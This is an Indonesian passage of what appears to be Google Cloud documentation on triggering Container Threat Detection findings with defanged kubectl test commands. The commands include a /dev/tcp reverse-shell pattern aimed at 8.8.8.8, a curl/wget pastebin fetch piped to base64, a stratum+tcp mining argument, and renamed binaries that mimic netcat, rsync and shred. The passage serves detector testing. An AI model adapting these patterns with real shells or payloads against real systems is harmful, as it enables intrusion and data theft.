Untuk memicu peristiwa Execution: Netcat Remote Code Execution In Container, biner yang mampu melakukan komunikasi jaringan (seperti netcat itu sendiri, atau salinan utility lain yang diganti namanya) harus ada dan dijalankan di dalam penampung. Contoh ini men-deploy image Ubuntu 24.04 terbaru sebagai dasar. Perintah ini menyalin biner /bin/ls dan mengganti nama salinan tersebut menjadi netcat (utilitas jaringan). Biner yang diganti namanya ini kemudian dieksekusi dengan argumen yang sesuai untuk interaksi jaringan. Aktivitas ini ditandai sebagai mencurigakan karena meniru perilaku yang sering diamati selama upaya eksekusi kode jarak jauh yang sebenarnya dalam lingkungan container.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses panel kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Masukkan biner alat komunikasi jaringan seperti netcat dan jalankan dengan argumen yang sesuai:

    • Node x86:

      tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"
      
    • Node ARM:

      tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"
      

Prosedur pengujian ini akan membuat temuan Execution: Netcat Remote Code Execution In Container yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Container. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Eksekusi: Kemungkinan Eksekusi Perintah Jarak Jauh Terdeteksi

Untuk memicu temuan Execution: Possible Remote Command Execution Detected (Pratinjau), eksekusi perintah atau biner yang biasanya terkait dengan eksekusi perintah jarak jauh harus diamati dalam penampung. Contoh ini menggunakan image Ubuntu 24.04 terbaru. Alat ini akan menyalin /bin/ls dan mengganti namanya menjadi touch (atau alat lain seperti find). Biner yang diganti namanya ini kemudian dieksekusi dengan argumen yang sesuai untuk eksekusi perintah jarak jauh. Perilaku ini ditandai sebagai mencurigakan karena dapat menunjukkan upaya untuk membuat akses jarak jauh yang tidak sah ke atau dari penampung.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses panel kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan biner seperti touch dengan argumen yang sesuai:

    • Node x86:

      tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"
      
    • Node ARM:

      tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch -o /tmp/touch.o"
      

Prosedur pengujian ini membuat temuan Execution: Possible Remote Command Execution Detected yang dapat Anda lihat di Security Command Center dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Container. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Eksekusi: Program Berjalan dengan Lingkungan Proxy HTTP yang Tidak Diizinkan

Untuk memicu temuan Execution: Program Run with Disallowed HTTP Proxy Env, jalankan program dalam penampung, yang menetapkan variabel lingkungan proxy HTTP ke nilai yang tidak diizinkan. Contoh ini menggunakan image Ubuntu 24.04 terbaru. Utilitas /bin/ls disalin dan diganti namanya menjadi /tmp/curl. Biner yang diganti namanya ini kemudian dieksekusi dengan nilai yang tidak diizinkan yang ditetapkan untuk variabel lingkungan proxy HTTP (misalnya, HTTP_PROXY, http_proxy). Kombinasi eksekusi program dan kehadiran lingkungan proxy HTTP yang tidak diizinkan ditandai sebagai mencurigakan, karena menunjukkan upaya untuk berkomunikasi melalui proxy yang tidak sah.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses panel kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan biner yang kompatibel dengan jaringan, seperti curl, dan jalankan dengan variabel lingkungan proxy HTTP yang tidak diizinkan:

    • Node x86:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
      
    • Node ARM:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
      

Prosedur pengujian ini akan membuat temuan Execution: Program Run with Disallowed HTTP Proxy Env yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Eksfiltrasi: Meluncurkan Alat Salin File Jarak Jauh di Penampung

Untuk memicu penemuan Exfiltration: Launch Remote File Copy Tools In Container, jalankan alat penyalinan file jarak jauh umum dalam penampung. Contoh ini menggunakan image Ubuntu 24.04 terbaru. Utilitas /bin/ls disalin dan diganti namanya menjadi /tmp/rsync, lalu dieksekusi untuk mengambil file dari sumber jarak jauh yang berpotensi berbahaya. Eksekusi alat tersebut dengan argumen pengambilan file jarak jauh dalam penampung ditandai sebagai mencurigakan, karena dapat menunjukkan upaya untuk mendownload dan mengeksekusi kode berbahaya atau memindahkan data secara tidak sah.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses panel kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan alat penyalin file jarak jauh, seperti rsync, dan jalankan:

    • Node x86:

      tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/rsync; /tmp/rsync"
      
    • Node ARM:

      tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/rsync; /tmp/rsync"
      

Prosedur pengujian ini akan membuat temuan Exfiltration: Launch Remote File Copy Tools In Container yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Container. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Dampak: Mendeteksi Cmdline Berbahaya

Untuk memicu temuan Impact: Detect Malicious Cmdlines (Pratinjau), eksekusi command line dengan pola atau argumen berbahaya yang diketahui harus diamati dalam penampung. Contoh ini menggunakan image Ubuntu 24.04 terbaru. Tindakan ini meliputi menyalin biner /bin/ls dan mengganti nama salinan tersebut menjadi ipfs. Biner yang diganti namanya kemudian dieksekusi. Perilaku ini ditandai sebagai mencurigakan karena dapat menunjukkan upaya untuk mengeksekusi kode berbahaya atau mengakali kontrol keamanan.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses panel kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan biner seperti ipfs:

    • Node x86:

      tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
      
    • Node ARM:

      tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
      

Prosedur pengujian ini membuat temuan Impact: Detect Malicious Cmdlines yang dapat Anda lihat di Security Command Center dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Container. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Dampak: Menghapus Data Massal dari Disk

Untuk memicu temuan Impact: Remove Bulk Data From Disk, tempatkan biner yang dapat menghapus atau menimpa data di penampung Anda, lalu jalankan. Contoh ini menggunakan image Ubuntu 24.04 terbaru. Tindakan ini melibatkan penyalinan biner /bin/ls dan mengganti nama salinan tersebut menjadi shred (atau utilitas serupa yang dirancang untuk penghapusan file yang aman). Biner yang diganti namanya kemudian dieksekusi. Tindakan ini ditandai sebagai mencurigakan karena meniru perilaku yang sering terlihat saat upaya dilakukan untuk menghapus data dalam jumlah besar dari disk dalam lingkungan penampung.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses panel kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Masukkan file atau biner penghapusan data seperti shred dan jalankan:

    • Node x86:

      tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/shred; /tmp/shred"
      
    • Node ARM:

      tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/shred; /tmp/shred"
      

Prosedur pengujian ini akan membuat temuan Impact: Remove Bulk Data From Disk yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Container. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Dampak: Aktivitas penambangan kripto yang mencurigakan menggunakan Stratum Protocol

Untuk memicu temuan Impact: Suspicious crypto mining activity using the Stratum Protocol, biner harus dieksekusi dalam penampung dengan argumen yang menyerupai argumen yang digunakan oleh software penambangan kripto yang berkomunikasi menggunakan protokol Stratum. Contoh ini menggunakan image Ubuntu 24.04 terbaru. File ini menyalin /bin/ls dan mengganti nama salinan tersebut menjadi biner tiruan (mungkin untuk menyimulasikan miner kripto). Biner yang diganti namanya ini kemudian dieksekusi dengan argumen yang menyertakan stratum+tcp atau indikator protokol Stratum serupa. Aktivitas ini ditandai sebagai mencurigakan karena meniru pola komunikasi jaringan software penambangan kripto dalam lingkungan container.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses panel kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Masukkan biner utilitas seperti curl dan jalankan dengan argumen yang menyerupai argumen yang digunakan oleh software penambangan kripto yang berkomunikasi menggunakan protokol Stratum:

    • Node x86:

      tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
      
    • Node ARM:

      tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
      

Prosedur pengujian ini akan membuat temuan Impact: Suspicious crypto mining activity using the Stratum Protocol yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Anda mungkin juga melihat temuan tambahan untuk perintah bash yang Anda jalankan dalam pengujian ini. Perilaku ini normal, dan Anda dapat mengabaikan temuan tambahan.

Skrip Berbahaya Dieksekusi

Untuk memicu temuan Skrip Berbahaya Dieksekusi, Anda dapat mengeksekusi skrip dalam prosedur berikut di penampung.

Prosedur ini men-deploy image Ubuntu 24.04 terbaru, menyalin skrip yang tampak berbahaya, lalu mengeksekusinya. Untuk memicu deteksi, skrip harus tampak berbahaya bagi detektor.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses panel kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan skrip berikut dalam penampung baru.

    Skrip shell Bourne inline ini berasal dari honeypot. Namun, skrip tersebut telah dimodifikasi sehingga tidak mengeksekusi biner berbahaya, sehingga menjalankan skrip tidak akan menyebabkan aktivitas berbahaya di penampung Anda. Biner di URL yang dirujuk mungkin telah dihapus dan upaya untuk mengikuti URL akan menghasilkan error 404. Hal ini sudah diperkirakan. Upaya untuk mendownload, mendekode, dan mengeksekusi biner menggunakan skrip inline adalah yang memicu deteksi.

    • Node x86:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
      
    • Node ARM:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
      

Prosedur pengujian ini membuat temuan Skrip Berbahaya Dijalankan yang dapat Anda lihat di Security Command Center dan di Cloud Logging jika telah mengonfigurasi logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

URL Berbahaya Ditemukan

Untuk memicu temuan URL Berbahaya yang Diamati, jalankan biner dan berikan URL berbahaya sebagai argumen.

Contoh berikut men-deploy image Ubuntu 24.04 dan menjalankan /bin/curl untuk mengakses contoh URL malware dari layanan Safe Browsing.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses panel kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan curl dan berikan URL berbahaya sebagai argumen:

    • Node x86:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      url="https://testsafebrowsing.appspot.com/s/malware.html"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
      
    • Node ARM:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      url="https://testsafebrowsing.appspot.com/s/malware.html"
      kubectl run \
            --restart=Never \
            --rm=true -i \
            --image marketplace.gcr.io/google/ubuntu2404:latest \
            --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
            {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
            "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
            "value": "arm64" } ]}}' \
            "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
      

Prosedur pengujian ini memicu temuan URL Berbahaya yang Diamati yang dapat Anda lihat di Security Command Center dan, jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Penampung, di Cloud Logging. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center di tingkat organisasi.

Reverse Shell

Untuk memicu temuan Reverse Shell, mulai biner dengan pengalihan stdin ke soket yang terhubung ke TCP. Contoh ini menyalin /bin/echo ke /tmp/sh, lalu memulai /tmp/sh dengan pengalihan ke DNS publik Google 8.8.8.8 di port DNS. Tidak ada yang dicetak saat Anda menjalankan contoh ini. Untuk mencegah injeksi kode eksternal melalui serangan man-in-the-middle (MITM), contoh ini tidak menggunakan biner /bin/sh.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses panel kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Mulai biner dengan pengalihan /bin/echo ke DNS publik Google:

    • Node x86:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
      
    • Node ARM:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
      

Prosedur pengujian ini membuat temuan Reverse Shell yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Container. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center di tingkat organisasi.

Shell Turunan yang Tidak Terduga

Untuk menguji detektor Unexpected Child Shell, Anda dapat membuat hierarki proses yang menyertakan proses shell turunan.

Contoh berikut membuat hierarki proses consul->dash, yang dapat dideteksi oleh detektor Unexpected Child Shell. Pengujian ini aman karena hanya menggunakan biner bawaan. Contoh ini melakukan hal berikut:

  1. Membuat salinan proses sh dan menamainya consul.
  2. Menyalin proses echo dan menamainya dash.
  3. Memanggil proses dash yang disalin dalam proses consul yang disalin.

Untuk memicu temuan Unexpected Child Shell, lakukan hal berikut:

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses panel kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Gunakan proses consul tiruan untuk memanggil shell tiruan:

    • Node x86:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -ti \
         --image ubuntu "$tag" \
         --command -- /bin/sh -c \
            'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
            /tmp/consul -c "/tmp/sh child ran successfully & wait"'
      
    • Node ARM:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -ti \
         --image ubuntu \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" --command -- /bin/sh -c \
            'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
            /tmp/consul -c "/tmp/sh child ran successfully & wait"'
      

Prosedur pengujian ini membuat temuan Unexpected Child Shell yang dapat Anda lihat di Security Command Center. Jika Logging dikonfigurasi untuk Container Threat Detection dan Anda telah mengaktifkan Security Command Center Premium atau Enterprise di level organisasi, Anda juga dapat melihat penemuan di Cloud Logging.

Langkah berikutnya